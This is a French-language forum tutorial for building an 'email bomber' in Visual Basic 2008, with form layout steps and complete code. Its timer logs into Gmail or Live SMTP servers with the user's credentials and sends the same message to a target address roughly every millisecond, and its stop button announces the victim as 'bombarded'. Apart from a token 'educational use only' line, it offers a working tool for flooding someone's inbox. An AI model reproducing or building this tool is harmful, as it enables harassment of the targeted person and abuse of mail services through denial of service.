Informatique-inside

Slt voila je mais un petit tuto que j'avais fait pour un autre site c est fait que c est pas grand choze et facile a faire mais bon pour les debutant sa ira je pensse  !!![/size]

!!! Outil necessaire !!!
- 8 label
- 1 groupbox
- 6 textbox
- 1 combobox
- 2 bouton
- 1 timer



1) ouvrir VB 2008 ; fichier ; nouveau projet ; windows form !

2) Voila vous choiziser la taille de votre mail bomber et vous choisiser l'image de fond ,
ou bien vous pouvez metre la couleur noir et metre opaciter a 90 % sa fera un beau designe !

3) Coter designe !!

label1 = votre email :         + Metre la textbox1 a coter du label1   !!!
label2 = mot de pass email :   + Metre la textbox2 a coter du label2   !!!
label3 = Smtp server :         + Metre la Combobox1 a coter du label3  !!!
label4 = Smtp port :           + Metre la textbox6 a coter du label4   !!!
label5 = Email personne :       + Metre la textbox3 a coter du label5   !!!
label6 = Sujet :               + Metre la textbox4 a coter du label6   !!!
label7 = Message :             + Metre la textbox5 en dessou du label7   !!!
label8 = Email envoyer : 0     

Groupbox1 = personne

button1 = start
button2 = stop

timer1 = ( interval 1 )



*** Voila on va passer au code mintennan ***

4) Ajouter tout en haut au dessu de ( Public Class Form1 ) o dessu mettai:  Imports System.Net.Mail



Double clik

*** pour le timer1 ***

Dim smtpserver As New SmtpClient()
        Dim mail As New MailMessage()
        smtpserver.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
        smtpserver.Host = ComboBox1.Text
        smtpserver.Port = TextBox6.Text
        mail = New MailMessage
        mail.From = New MailAddress(TextBox1.Text)
        mail.To.Add(TextBox3.Text)
        mail.Subject = TextBox4.Text
        mail.Body = TextBox5.Text
        smtpserver.EnableSsl = True
        Try
            smtpserver.Send(mail)
        Catch ex As Exception
            MsgBox("Quelque chose ne vas pas dans vos information mot de pass ou email incorecte")
            Timer1.Stop()
            Label8.Text = 0
        End Try
        Label8.Text = Label8.Text + 1


*** pour le button1 ***

Timer1.Start()
        Label8.Text = 0


*** pour le button2 ***

Timer1.Stop()
        Label8.Text = 0
        MsgBox("personne bombarder par hackbydano")

**************************************************************

Dans la combox pour ajouter les option :

smtp.live.com
ou
smtp.gmail.com 




Il sufit de cliker une fois sur la combobox et de aller sur item  ey vous meter les info ci dessous !!
smtp.live.com
smtp.gmail.com



Ce tutorial est uniquement destiné a un usage éducatif.